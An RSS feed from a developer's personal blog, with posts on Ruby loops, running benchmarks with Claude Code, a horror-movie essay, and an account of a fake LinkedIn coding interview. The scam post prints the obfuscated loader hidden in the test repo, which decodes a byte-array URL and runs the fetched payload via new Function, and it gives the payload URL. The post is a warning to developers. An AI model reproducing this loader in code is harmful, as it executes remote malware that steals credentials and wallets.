<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[David Dodda]]></title><description><![CDATA[Hi, I'm David, a tech enthusiast who loves bringing creative ideas to life. I write about frontend, backend, ai, homelab setup, and electronics.  follow me on t]]></description><link>https://blog.daviddodda.com</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1703432144982/uwKl8yeNn.png</url><title>David Dodda</title><link>https://blog.daviddodda.com</link></image><generator>RSS for Node</generator><lastBuildDate>Tue, 14 Apr 2026 18:58:27 GMT</lastBuildDate><atom:link href="https://blog.daviddodda.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Made to Imitate?]]></title><description><![CDATA[for (i = 0; i < numberOfElements; i++) {
    doSomethingWith(element[i]);
}

This works, but isn't very elegant. The Ruby way is much more elegant.
elements.each do |element|
    do_something_with(ele]]></description><link>https://blog.daviddodda.com/made-to-imitate</link><guid isPermaLink="true">https://blog.daviddodda.com/made-to-imitate</guid><dc:creator><![CDATA[David Dodda]]></dc:creator><pubDate>Thu, 02 Apr 2026 10:50:21 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6018a48271a0a26a8eebbdf2/6e8e4412-b3a4-4294-8051-d9ce4a2dab5d.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<pre><code class="language-cpp">for (i = 0; i &lt; numberOfElements; i++) {
    doSomethingWith(element[i]);
}
</code></pre>
<p>This works, but isn't very elegant. The Ruby way is much more elegant.</p>
<pre><code class="language-ruby">elements.each do |element|
    do_something_with(element)
end
</code></pre>
<p>But what about JavaScript's <code>forEach</code>?</p>
<pre><code class="language-js">elements.forEach((element) =&gt; {
  doSomethingWith(element);
});
</code></pre>
<p>JavaScript's <code>forEach</code> gets close to Ruby's elegance, but it comes with some notable quirks. You can't <code>break</code> out of it (if you need to exit early, you're stuck reaching for a <code>for...of</code> loop or throwing an exception). It doesn't work well with <code>async/await</code> either, since it fires off all callbacks without waiting for them to resolve. And it always returns <code>undefined</code>, so unlike Ruby's chainable enumerables, you can't build fluent pipelines with it.</p>
<p>Modern JavaScript's <code>for...of</code> actually gets closer to the Ruby spirit:</p>
<pre><code class="language-js">for (const element of elements) {
  doSomethingWith(element);
}
</code></pre>
<p>This supports <code>break</code>, <code>continue</code>, works with <code>await</code>, and handles any iterable, not just arrays. Still, Ruby's enumerable ecosystem (<code>map</code>, <code>select</code>, <code>reject</code>, <code>each_with_object</code>) feels more cohesive because it was a core design philosophy from day one, not an afterthought bolted onto a prototype chain.</p>
<hr />
<p>It's day one of learning Ruby, and I think I'm falling in love with the language.</p>
<p>I might be a little biased - last night I fell asleep watching the <a href="https://www.youtube.com/watch?v=HDKUEXBF3B4">Ruby on Rails documentary</a>. I woke up with this strong desire to learn Ruby and try it out. I think when you hear people who genuinely love something, you can't help but want to experience it yourself.</p>
<p>And it's not just programming languages. DHH's rant about getting married and having kids on the <a href="https://open.spotify.com/episode/20BTYaPW9JXNbcVAK0cLVo">Top Shelf podcast</a> with <a href="https://youtube.com/@ThePrimeagen">ThePrimeagen</a> and <a href="https://youtube.com/@teej_dv">TJ DeVries</a> (looking back, it played it's part, however small, in me getting married). Or Prime's rants about being competent and taking ownership of your craft.</p>
<p>It's more fun and lively when you have role models, people who have lived the life you want to live, people worth imitating.</p>
]]></content:encoded></item><item><title><![CDATA[Using Claude Code as Your Lab Partner: A Framework for Running Experiments]]></title><description><![CDATA[I needed to benchmark my laptop for local AI workloads — how fast can it transcribe audio? What LLMs can it run? Rather than spend a weekend hacking at it manually, I paired with Claude Code and treat]]></description><link>https://blog.daviddodda.com/using-claude-code-as-your-lab-partner-a-framework-for-running-experiments</link><guid isPermaLink="true">https://blog.daviddodda.com/using-claude-code-as-your-lab-partner-a-framework-for-running-experiments</guid><dc:creator><![CDATA[David Dodda]]></dc:creator><pubDate>Fri, 13 Mar 2026 18:45:47 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6018a48271a0a26a8eebbdf2/8ac62570-a773-4877-8a53-7df8bc30679d.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I needed to benchmark my laptop for local AI workloads — how fast can it transcribe audio? What LLMs can it run? Rather than spend a weekend hacking at it manually, I paired with Claude Code and treated it as a lab partner. Out of that came a repeatable framework for running any kind of structured experiment with an AI assistant.</p>
<p>This post walks through that framework, using the AI benchmarks as a concrete example. The benchmarks themselves aren't the point. The process is.</p>
<hr />
<h2>The Problem with Ad-Hoc Experiments</h2>
<p>We've all been there. You want to test something — maybe compare three database configurations, or figure out which image processing library is fastest, or evaluate different deployment strategies. You start hacking. You run some commands. You get some numbers. You forget what you changed between runs. Three hours later you have a terminal full of output and no clear answer.</p>
<p>Experiments need structure. But structure takes effort, and when you're exploring, the last thing you want to do is build scaffolding before you know what you're building.</p>
<p>This is where an AI coding assistant changes the game. It can set up structure while you focus on decisions. It can write benchmark scripts, track results, and maintain documentation — all in real time, all while you stay in the driver's seat.</p>
<hr />
<h2>The Framework</h2>
<h3>1. Start with Goals, Not Code</h3>
<p>Before touching any tools or writing any scripts, we created two files:</p>
<p><code>goals.md</code> — What are we trying to learn? What questions do we want to answer? What metrics matter?</p>
<p>This isn't a formality. Writing down your goals forces you to think about what "done" looks like. In our case, the goals were:</p>
<ul>
<li><p>What's the fastest transcription setup for this GPU?</p>
</li>
<li><p>What LLMs can run on 4GB VRAM, and how fast?</p>
</li>
<li><p>What are the optimal settings for each?</p>
</li>
</ul>
<p><code>guide.md</code> — How will we organize our work? What's the directory structure? What does the workflow look like?</p>
<p>The guide established conventions early: where results go, how experiments are numbered, what tables look like. This is the kind of thing that feels unnecessary at the start but saves you when you're eight experiments deep and can't remember which JSON file goes with which test.</p>
<p>The key insight: <strong>I described what I wanted in plain English. Claude Code created the files.</strong> I didn't write markdown tables or think about directory structures. I said "I want to test transcription and LLM text generation" and reviewed what it produced. The AI handles the formatting; you handle the thinking.</p>
<h3>2. Create an Experiment Tracker</h3>
<p>Before running anything, we created a tracker file (<code>transcription_experiments.md</code>) that listed:</p>
<ul>
<li><p><strong>What runtimes to test</strong> — faster-whisper, whisper.cpp, openai-whisper</p>
</li>
<li><p><strong>What models to test</strong> — with expected VRAM requirements</p>
</li>
<li><p><strong>The experiments themselves</strong> — E1 through E5, each with a clear scope</p>
</li>
<li><p><strong>Checkboxes</strong> — unchecked at first, checked as we completed each one</p>
</li>
</ul>
<p>This is your experiment's table of contents. It tells you what you've done, what's left, and what the results were. When we finished an experiment, Claude Code updated the checkboxes and added the key findings inline:</p>
<pre><code class="language-markdown">### E1 — Runtime comparison (small model) ✅
- [x] faster-whisper + small (GPU) — **20.71x RT (int8), 7.78x (fp16)**
- [x] whisper.cpp + small (GPU) — **12.28x RT** (needs FORCE_MMQ build flag)
- [x] openai whisper + small (GPU) — **8.18x RT** (fp32 only, fp16 NaN on GTX 1650)
- **Winner: faster-whisper cuda/int8**
</code></pre>
<p>At any point, you can open this one file and know exactly where the project stands. No digging through terminal history or trying to remember what you tested last Tuesday.</p>
<h3>3. Structure Your Experiments as a Funnel</h3>
<p>We didn't test everything against everything. That's combinatorial explosion. Instead, each experiment narrowed the field for the next one:</p>
<pre><code class="language-plaintext">E1: Runtime comparison     → Pick the fastest runtime
E2: Model sweep            → Using that runtime, pick the best models
E3: Quantization           → Using that model, pick the best precision
E4: Parameter tuning       → Using that config, optimize the settings
E5: Edge cases / scaling   → Stress-test the winning configuration
</code></pre>
<p>Each experiment has a single variable. E1 varies the runtime. E2 varies the model. E3 varies the quantization. This makes results interpretable — you know <em>why</em> something is faster, not just <em>that</em> it's faster.</p>
<p>This funnel structure is the most transferable part of the framework. Whether you're benchmarking databases, comparing ML frameworks, or evaluating cloud providers, the pattern is the same: <strong>start broad, narrow down, then optimize.</strong></p>
<p>Don't over-plan the funnel upfront, either. Our E5 (context length testing) didn't exist in the original plan — it emerged from E4's findings about 7B models. The framework supports evolution; it doesn't demand a perfect plan from the start.</p>
<h3>4. Write Scripts, Not One-Liners</h3>
<p>For each experiment, Claude Code wrote a proper Python or bash script. Not a one-liner in the terminal — a script with:</p>
<ul>
<li><p>A consistent test file/prompt across all runs</p>
</li>
<li><p>Timing instrumentation</p>
</li>
<li><p>VRAM measurement</p>
</li>
<li><p>Results saved to JSON for later analysis</p>
</li>
<li><p>A summary printed to stdout</p>
</li>
</ul>
<p><strong>Scripts are reproducible.</strong> When I want to run the same test on a different machine, I run the same script. When someone else wants to reproduce my work, they can. At the end of our session, we had Claude Code generate a <code>reproduce.md</code> — a step-by-step guide to run everything from scratch. This is trivial for it to produce (it just did all the steps) but incredibly valuable later.</p>
<p>For example, our faster-whisper benchmark script (<code>bench_faster_whisper.py</code>) tested three configurations (cuda/float16, cuda/int8, cpu/int8), measured load time, transcription time, and VRAM usage for each, and saved structured JSON results. Writing this by hand would have taken 20 minutes. Claude Code wrote it in seconds based on "write a benchmark script for faster-whisper comparing GPU and CPU."</p>
<h3>5. Record Results in Markdown + JSON</h3>
<p>Every experiment produced two outputs:</p>
<ul>
<li><p><code>e&lt;N&gt;_results.md</code> — Human-readable writeup with tables, findings, and recommendations</p>
</li>
<li><p><code>e&lt;N&gt;_*.json</code> — Raw data for programmatic analysis</p>
</li>
</ul>
<p>The markdown file is what you read. The JSON is what you'd feed into a comparison tool or plotting script if you wanted to go deeper. Each results file followed a consistent structure:</p>
<pre><code class="language-markdown"># E1 — Runtime Comparison Results

**Date:** 2026-02-15
**Model:** Whisper small (244M params)
**Test file:** [consistent across experiments]
**Settings:** beam_size=5, language=en

## Results
[table]

## Key Findings
[numbered list of insights]

## Setup Notes
[gotchas, workarounds, things that broke]

## Recommendation
[what to use going forward]
</code></pre>
<p>The "Setup Notes" section turned out to be surprisingly valuable. Every environment has gotchas — silent GPU fallback, NaN errors with certain precision modes, libraries that need manual path configuration. Documenting them inline with results means you (or someone reproducing your work) won't hit the same wall twice.</p>
<h3>6. You Decide, the AI Executes</h3>
<p>Here's what Claude Code actually did during our session:</p>
<ul>
<li><p><strong>Environment setup</strong>: Created a Python virtualenv, installed packages, figured out CUDA library paths</p>
</li>
<li><p><strong>Debugging</strong>: When GPU offload silently failed, it diagnosed the issue, rebuilt the tools with the right flags, and re-ran the tests</p>
</li>
<li><p><strong>Script writing</strong>: Wrote all benchmark scripts — timing loops, VRAM measurement, JSON output</p>
</li>
<li><p><strong>Model downloads</strong>: Downloaded GGUF models from HuggingFace, handled 404s by finding alternative repos</p>
</li>
<li><p><strong>Results analysis</strong>: Calculated RT factors, wrote comparison tables, identified winners</p>
</li>
<li><p><strong>Documentation</strong>: Updated experiment trackers, wrote results files, maintained the CLAUDE.md</p>
</li>
</ul>
<p>Here's what I did:</p>
<ul>
<li><p><strong>Made decisions</strong>: Which experiments to run, in what order, when to move on</p>
</li>
<li><p><strong>Reviewed results</strong>: Looked at the numbers, decided if they made sense</p>
</li>
<li><p><strong>Course-corrected</strong>: Caught that we were running without proper GPU support and stopped to fix the environment before continuing</p>
</li>
<li><p><strong>Set priorities</strong>: "Skip koboldcpp, the winner is clear"</p>
</li>
</ul>
<p>This division of labor is the key. <strong>The AI is fast at execution. You're fast at judgment.</strong> Don't let it run on autopilot — stay engaged with the results. When things broke (and they broke a lot), the failures often produced the most valuable findings. A library crashing on your GPU is just as useful to know as one that runs at 20x realtime.</p>
<h3>7. Build the CLAUDE.md as You Go</h3>
<p>A <code>CLAUDE.md</code> file captures what a future session needs to know. We built ours at the end, but it drew from everything we learned:</p>
<ul>
<li><p>How to set up the environment</p>
</li>
<li><p>How to build tools with the right flags</p>
</li>
<li><p>What the best configurations are</p>
</li>
<li><p>Where to find results</p>
</li>
</ul>
<p>This file means the next time I (or anyone) opens this project with Claude Code, it doesn't start from zero. It knows the project structure, the conventions, and the hard-won knowledge from the experiment session.</p>
<hr />
<h2>Adapting the Framework</h2>
<p>The pattern generalizes beyond benchmarking. For example, database performance testing:</p>
<pre><code class="language-plaintext">goals.md         → "Find the fastest DB config for our read-heavy workload"
experiments.md   → E1: Compare engines (Postgres vs MySQL vs SQLite)
                   E2: Index strategies on the winner
                   E3: Connection pooling settings
                   E4: Query optimization
                   E5: Concurrency/load testing
</code></pre>
<p>The same funnel applies to API evaluation, infrastructure cost optimization, ML model selection — anything where you're narrowing down options through structured comparison. The general pattern is:</p>
<ol>
<li><p><code>goals.md</code> — What questions are you answering? What does success look like?</p>
</li>
<li><p><code>guide.md</code> — Directory structure, conventions, workflow</p>
</li>
<li><p><code>experiments.md</code> — Funnel-shaped experiment list with checkboxes</p>
</li>
<li><p><code>scripts/</code> — One script per experiment, saves raw JSON</p>
</li>
<li><p><code>results/</code> — Markdown writeup + JSON data per experiment</p>
</li>
<li><p><code>CLAUDE.md</code> — What future sessions need to know</p>
</li>
</ol>
<p>Start the conversation with: "I want to evaluate [X]. Here are my constraints: [Y]. Create a goals file and experiment tracker, then let's start with E1."</p>
<hr />
<h2>What This Isn't</h2>
<p>This isn't about replacing your expertise with AI. You still need to know what questions to ask, whether results make sense, and when to dig deeper. Claude Code can't tell you that 20x realtime transcription is "good enough" for your use case — only you know that.</p>
<p>What this <em>is</em> about is having a capable lab partner who handles the tedious parts — setup, scripting, documentation, debugging — so you can focus on the interesting parts: asking questions, interpreting results, and making decisions.</p>
<hr />
<p><em>All code, scripts, and results from this benchmarking session are available in the</em> <a href="https://github.com/daviddodda1/llmexp"><em>llmexp repository</em></a><em>. The full session benchmarked audio transcription (faster-whisper, whisper.cpp, openai-whisper, moonshine) and LLM text generation (llama.cpp, ollama) on an NVIDIA GTX 1650 with 4GB VRAM.</em></p>
<hr />
<h2>The Starting Prompt</h2>
<p>For the curious, here's the exact message that kicked off the entire session:</p>
<blockquote>
<p>ok. this is a folder where i want to run and doctument local llm experiments. the goal is to bench mark the current system on how well it can run llms and ai models. to start out with create a goals.md file outling this. I mainly want to test two things, 1. locall llm text generation (what ever models fit this gpu) and 2. audio transcription. I want to tract the best settings, best way to setup the models, best utils to use etc. then create a guide.md file to keep us on track and organised as we run experiments.</p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[How I Almost Got Hacked By A 'Job Interview']]></title><description><![CDATA[I was 30 seconds away from running malware on my machine.
The attack vector? A fake coding interview from a "legitimate" blockchain company.
Here's how a sophisticated scam operation almost got me, and why every developer needs to read this.
The Setu...]]></description><link>https://blog.daviddodda.com/how-i-almost-got-hacked-by-a-job-interview</link><guid isPermaLink="true">https://blog.daviddodda.com/how-i-almost-got-hacked-by-a-job-interview</guid><category><![CDATA[Developer]]></category><category><![CDATA[scamalert]]></category><category><![CDATA[Scam]]></category><dc:creator><![CDATA[David Dodda]]></dc:creator><pubDate>Wed, 15 Oct 2025 12:11:28 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/gJ2rP19xx6M/upload/5e7e1e544df7f6b4fb727d32cf37f390.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I was 30 seconds away from running malware on my machine.</p>
<p>The attack vector? A fake coding interview from a "legitimate" blockchain company.</p>
<p>Here's how a sophisticated scam operation almost got me, and why every developer needs to read this.</p>
<h2 id="heading-the-setup">The Setup</h2>
<p>Last week, I got a LinkedIn message from Mykola Yanchii. Chief Blockchain Officer at Symfa. Real company. Real LinkedIn profile. 1,000+ connections. The works.</p>
<p>The message was smooth. Professional. "We're developing BestCity, a platform aimed at transforming real estate workflows. Part-time roles available. Flexible structure."</p>
<p>I've been freelancing for 8 years. Built web applications, worked on various projects, done my share of code reviews. I'm usually paranoid about security - or so I thought.</p>
<p>This looked legit. So I said yes to the call.</p>
<h2 id="heading-the-hook">The Hook</h2>
<p>Before our meeting, Mykola sent me a "test project" - standard practice for tech interviews. A React/Node codebase to evaluate my skills. 30-minute test. Simple enough.</p>
<p>The Bitbucket repo looked professional. Clean README. Proper documentation. Even had that corporate stock photo of a woman with a tablet standing in front of a house. You know the one.</p>
<p>Here's where I almost screwed up: I was running late for our call. Had about 30 minutes to review the code. So I did what lazy developers do - I started poking around the codebase without running it first.</p>
<p>Usually, I sandbox everything. Docker containers. Isolated environments. But I was in a rush.</p>
<p>I spent 30 minutes fixing obvious bugs, adding a docker-compose file, cleaning up the code. Standard stuff. Ready to run it and show my work.</p>
<p>Then I had one of those paranoid developer moments.</p>
<h2 id="heading-the-save">The Save</h2>
<p>Before hitting <code>npm start</code>, I threw this prompt at my Cursor AI agent:</p>
<p>"Before I run this application, can you see if there are any suspicious code in this codebase? Like reading files it shouldn't be reading, accessing crypto wallets etc."</p>
<p>And holy sh*t.</p>
<p>Sitting right in the middle of <code>server/controllers/userController.js</code> was this beauty:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">//Get Cookie  </span>
(<span class="hljs-keyword">async</span> () =&gt; {  
    <span class="hljs-keyword">const</span> byteArray = [  
        <span class="hljs-number">104</span>, <span class="hljs-number">116</span>, <span class="hljs-number">116</span>, <span class="hljs-number">112</span>, <span class="hljs-number">115</span>, <span class="hljs-number">58</span>, <span class="hljs-number">47</span>, <span class="hljs-number">47</span>, <span class="hljs-number">97</span>, <span class="hljs-number">112</span>, <span class="hljs-number">105</span>, <span class="hljs-number">46</span>, <span class="hljs-number">110</span>, <span class="hljs-number">112</span>, <span class="hljs-number">111</span>, <span class="hljs-number">105</span>,  
        <span class="hljs-number">110</span>, <span class="hljs-number">116</span>, <span class="hljs-number">46</span>, <span class="hljs-number">105</span>, <span class="hljs-number">111</span>, <span class="hljs-number">47</span>, <span class="hljs-number">50</span>, <span class="hljs-number">99</span>, <span class="hljs-number">52</span>, <span class="hljs-number">53</span>, <span class="hljs-number">56</span>, <span class="hljs-number">54</span>, <span class="hljs-number">49</span>, <span class="hljs-number">50</span>, <span class="hljs-number">51</span>, <span class="hljs-number">57</span>, <span class="hljs-number">99</span>, <span class="hljs-number">51</span>,  
        <span class="hljs-number">98</span>, <span class="hljs-number">50</span>, <span class="hljs-number">48</span>, <span class="hljs-number">51</span>, <span class="hljs-number">49</span>, <span class="hljs-number">102</span>, <span class="hljs-number">98</span>, <span class="hljs-number">57</span>  
    ];  
    <span class="hljs-keyword">const</span> uint8Array = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Uint8Array</span>(byteArray);  
    <span class="hljs-keyword">const</span> decoder = <span class="hljs-keyword">new</span> TextDecoder(<span class="hljs-string">'utf-8'</span>);  
    axios.get(decoder.decode(uint8Array))  
        .then(<span class="hljs-function"><span class="hljs-params">response</span> =&gt;</span> {  
            <span class="hljs-keyword">new</span> <span class="hljs-built_in">Function</span>(<span class="hljs-string">"require"</span>, response.data.model)(<span class="hljs-built_in">require</span>);  
        })  
        .catch(<span class="hljs-function"><span class="hljs-params">error</span> =&gt;</span> { });  
})();
</code></pre>
<p>Obfuscated. Sneaky. Evil. And 100% active - embedded between legitimate admin functions, ready to execute with full server privileges the moment admin routes were accessed.</p>
<p>I decoded that byte array: <code>https://api.npoint.io/2c458612399c3b2031fb9</code></p>
<p>When I first hit the URL, it was live. I grabbed the payload. Pure malware. The kind that steals everything - crypto wallets, files, passwords, your entire digital existence.</p>
<p>Here's the kicker: the URL died exactly 24 hours later. These guys weren't messing around - they had their infrastructure set up to burn evidence fast.</p>
<p>I ran the payload through VirusTotal - <a target="_blank" href="https://www.virustotal.com/gui/file/e2da104303a4e7f3bbdab6f1839f80593cdc8b6c9296648138bd2ee3cf7912d5/behavior">check out the behavior analysis yourself</a>. Spoiler alert: it's nasty.</p>
<h2 id="heading-the-operation">The Operation</h2>
<p>This wasn't some amateur hour scam. This was sophisticated:</p>
<p><strong>The LinkedIn Profile</strong>: Mykola Yanchii looked 100% real. Chief Blockchain Officer. Proper work history. Even had those cringy LinkedIn posts about "innovation" and "blockchain consulting."</p>
<p><strong>The Company</strong>: Symfa had a full LinkedIn company page. Professional branding. Multiple employees. Posts about "transforming real estate with blockchain." They even had affiliated pages and follower networks.</p>
<p><strong>The Approach</strong>: No red flags in the initial outreach. Professional language. Reasonable project scope. They even used Calendly for scheduling.</p>
<p><strong>The Payload</strong>: The malicious code was positioned strategically in the server-side controller, ready to execute with full Node.js privileges when admin functionality was accessed.</p>
<h2 id="heading-the-psychology">The Psychology</h2>
<p>Here's what made this so dangerous:</p>
<p><strong>Urgency</strong>: "Complete the test before the meeting to save time."</p>
<p><strong>Authority</strong>: LinkedIn verified profile, real company, professional setup.</p>
<p><strong>Familiarity</strong>: Standard take-home coding test. Every developer has done dozens of these.</p>
<p><strong>Social Proof</strong>: Real company page with real employees and real connections.</p>
<p>I almost fell for it. And I'm paranoid about this stuff.</p>
<h2 id="heading-the-lesson">The Lesson</h2>
<p>One simple AI prompt saved me from disaster.</p>
<p>Not fancy security tools. Not expensive antivirus software. Just asking my coding assistant to look for suspicious patterns before executing unknown code.</p>
<p>The scary part? This attack vector is perfect for developers. We download and run code all day long. GitHub repos, npm packages, coding challenges. Most of us don't sandbox every single thing.</p>
<p>And this was server-side malware. Full Node.js privileges. Access to environment variables, database connections, file systems, crypto wallets. Everything.</p>
<h2 id="heading-the-scale">The Scale</h2>
<p>If this sophisticated operation is targeting developers at scale, how many have already been compromised? How many production systems are they inside right now?</p>
<p><strong>Perfect Targeting</strong>: Developers are ideal victims. Our machines contain the keys to the kingdom: production credentials, crypto wallets, client data.</p>
<p><strong>Professional Camouflage</strong>: LinkedIn legitimacy, realistic codebases, standard interview processes.</p>
<p><strong>Technical Sophistication</strong>: Multi-layer obfuscation, remote payload delivery, dead-man switches, server-side execution.</p>
<p>One successful infection could compromise production systems at major companies, crypto holdings worth millions, personal data of thousands of users.</p>
<h2 id="heading-the-bottom-line">The Bottom Line</h2>
<p>If you're a developer getting LinkedIn job opportunities:</p>
<ol>
<li><p><strong>Always sandbox unknown code</strong>. Docker containers, VMs, whatever. Never run it on your main machine.</p>
</li>
<li><p><strong>Use AI to scan for suspicious patterns</strong>. Takes 30 seconds. Could save your entire digital life.</p>
</li>
<li><p><strong>Verify everything</strong>. Real LinkedIn profile doesn't mean real person. Real company doesn't mean real opportunity.</p>
</li>
<li><p><strong>Trust your gut</strong>. If someone's rushing you to execute code, that's a red flag.</p>
</li>
</ol>
<p>This scam was so sophisticated it fooled my initial BS detector. But one paranoid moment and a simple AI prompt exposed the whole thing.</p>
<p>The next time someone sends you a "coding challenge," remember this story.</p>
<p>Your crypto wallet will thank you.</p>
<hr />
<p><em>If you're a developer who has run "coding challenges" from LinkedIn recruiters, you should probably read this twice.</em></p>
<h4 id="heading-the-linkedin-profiles">the LinkedIn profiles</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757745582878/7d89d814-b484-49ed-bb94-d80f6c9a4e0b.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757745591986/8c6823b4-dd93-4958-9aaf-f50bbf321feb.png" alt class="image--center mx-auto" /></p>
<h4 id="heading-messages">Messages</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757745654452/aed5f0d5-0eaa-4670-a711-575163411278.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757745670595/ced99dd5-dd32-4007-9b0d-ac6aac757ad2.png" alt class="image--center mx-auto" /></p>
<h4 id="heading-bit-bucket">bit bucket</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1757745718655/522da775-a762-4516-9c99-6b26487407a0.png" alt class="image--center mx-auto" /></p>
<p><a target="_blank" href="https://bitbucket.org/0x3bestcity/test_version/src/main/">https://bitbucket.org/0x3bestcity/test_version/src/main/</a> - not sure how long this will stay up though.</p>
]]></content:encoded></item><item><title><![CDATA[Laughing in the Face of Fear: How I Accidentally Rewired My Brain Through Movies]]></title><description><![CDATA["Why do you keep smiling?"
My friend's puzzled voice cut through the theater's surround sound as yet another jump scare filled the screen. I hadn't even realized I was doing it. There I was, grinning like an idiot while a demon wreaked havoc on scree...]]></description><link>https://blog.daviddodda.com/laughing-in-the-face-of-fear-how-i-accidentally-rewired-my-brain-through-movies</link><guid isPermaLink="true">https://blog.daviddodda.com/laughing-in-the-face-of-fear-how-i-accidentally-rewired-my-brain-through-movies</guid><category><![CDATA[#growth]]></category><category><![CDATA[Personal growth  ]]></category><category><![CDATA[horror]]></category><category><![CDATA[Mindset]]></category><dc:creator><![CDATA[David Dodda]]></dc:creator><pubDate>Wed, 17 Sep 2025 16:13:58 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/oK6VHjsnHys/upload/5c480be05971367acfae4e0474065ab2.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>"Why do you keep smiling?"</em></p>
<p>My friend's puzzled voice cut through the theater's surround sound as yet another jump scare filled the screen. I hadn't even realized I was doing it. There I was, grinning like an idiot while a demon wreaked havoc on screen - the same kind of creature that would have sent me diving behind couch cushions just a few years ago.</p>
<p>"That demon is kind of cute," I whispered back, and immediately wondered where those words had come from.</p>
<p>Walking out of that <em>Conjuring: The Last Rites</em> screening, I couldn't shake the question: when did I stop being afraid of horror movies? More importantly, <em>how</em> did it happen without me even noticing?</p>
<h2 id="heading-the-shift-i-didnt-see-coming">The Shift I Didn't See Coming</h2>
<p>I've always been a scaredy-cat. Horror movies were my kryptonite, the kind of films that left me sleeping with the lights on and checking under beds like a paranoid child. So this newfound ability to chuckle at cinematic terror felt like discovering I could suddenly speak a foreign language.</p>
<p>As I reflected on this mysterious transformation, three influences kept surfacing in my memory, all carrying the same powerful message: <strong>fear loses its grip when you laugh at it</strong>.</p>
<h2 id="heading-the-clown-the-spell-and-the-youtuber">The Clown, the Spell, and the YouTuber</h2>
<p>The first was Stephen King's <em>IT</em>, specifically the scene where the Losers Club finally confronts Pennywise. These kids, terrorized by an ancient cosmic horror, make a crucial discovery: the creature that feeds on fear becomes pathetically small when mocked. They literally bully the bully, turning their terror into ridicule. "You're just a clown!" they shout, and suddenly this omnipotent force becomes just another playground antagonist.</p>
<p>The second was from <em>Harry Potter and the Prisoner of Azkaban</em>. Professor Lupin teaches his students to defeat boggarts, creatures that manifest as your worst fear, with the <em>Riddikulus</em> spell. The magic isn't in complex incantations; it's in forcing yourself to imagine your fear in something ridiculous. Snape in your grandmother's dress. A spider wearing roller skates. Fear transformed into comedy.</p>
<p>The third influence was more gradual but perhaps most impactful: discovering Wendigoon's YouTube channel. Here was someone who approached the most unsettling horror content, creepypastas, urban legends, true crime, with genuine curiosity and often infectious humor. Watching him dissect a terrifying story with the enthusiasm of a literature professor made me realize that scary content was just <em>content</em>. When you pull back the curtain and analyze the mechanics of horror, the monsters become fascinating rather than frightening. His approach taught me that you could respect the craft of scary storytelling while refusing to be intimidated by it.</p>
<p>All three sources delivered the same revolutionary idea: <strong>laughter is fear's kryptonite</strong>.</p>
<h2 id="heading-the-accidental-rewiring">The Accidental Rewiring</h2>
<p>Without realizing it, these influences had planted something in my subconscious. They'd offered me a new framework for processing scary situations, not as threats to flee from, but as puzzles to solve or absurdities to find amusing. The demon in <em>The Conjuring: The Last Rites</em> wasn't a harbinger of nightmares; it was just another creature stumbling through its prescribed horror movie beats, probably worried about hitting its jump-scare quotas.</p>
<p>This shift represents something profound about how we consume media. Stories don't just entertain us; they literally rewire our neural pathways, teaching us new ways to interpret and respond to the world. Every hero's journey we follow, every coping mechanism we witness, becomes part of our own psychological toolkit.</p>
<h2 id="heading-finding-the-funny-in-the-frightening">Finding the Funny in the Frightening</h2>
<p>The beautiful thing about this accidental transformation is how it's changed my relationship with fear beyond just movies. That presentation at work that used to paralyze me? Now I picture the audience in their underwear, not because someone told me to, but because I've learned that fear shrinks under the spotlight of absurdity.</p>
<p>The anxiety-inducing news cycle? Sometimes I can step back and see the cosmic comedy in our collective human drama, the way we all scramble around taking ourselves so seriously on this tiny rock spinning through space.</p>
<p>This doesn't mean becoming callous or dismissing real dangers. It means developing the superpower to choose your response to fear, to ask yourself whether this particular monster deserves your terror or your chuckles.</p>
<h2 id="heading-the-spell-we-cast-on-ourselves">The Spell We Cast on Ourselves</h2>
<p>Maybe the most magical thing about both <em>IT</em> and <em>Harry Potter</em> isn't the supernatural elements, it's the reminder that we have more control over our inner landscape than we think. Every day, we're casting spells on ourselves with the stories we tell, the media we consume, the frameworks we adopt for making sense of the world.</p>
<p>Sometimes, without even realizing it, we learn to laugh in the face of fear. And once you've done that, you discover something wonderful: most of our demons are just wearing costumes, waiting for someone brave enough to point and giggle.</p>
<p><em>Riddikulus</em>, indeed.</p>
]]></content:encoded></item><item><title><![CDATA[Most AI Code is Garbage. Here's How Mine Isn't.]]></title><description><![CDATA[I Spent $450 in 3 Weeks Building 100k Lines of Code (And Didn't Want to Burn It Down)
Note: All the exact prompts and templates I used are included at the bottom of this article, plus a link to get even more prompts.
Most developers spend months buil...]]></description><link>https://blog.daviddodda.com/most-ai-code-is-garbage-heres-how-mine-isnt</link><guid isPermaLink="true">https://blog.daviddodda.com/most-ai-code-is-garbage-heres-how-mine-isnt</guid><dc:creator><![CDATA[David Dodda]]></dc:creator><pubDate>Tue, 22 Jul 2025 22:51:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/SNf-hZz6zOY/upload/daab51c854fcf7a7e2782e82604e7aa2.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-i-spent-450-in-3-weeks-building-100k-lines-of-code-and-didnt-want-to-burn-it-down"><mark>I Spent $450 in 3 Weeks Building 100k Lines of Code (And Didn't Want to Burn It Down)</mark></h3>
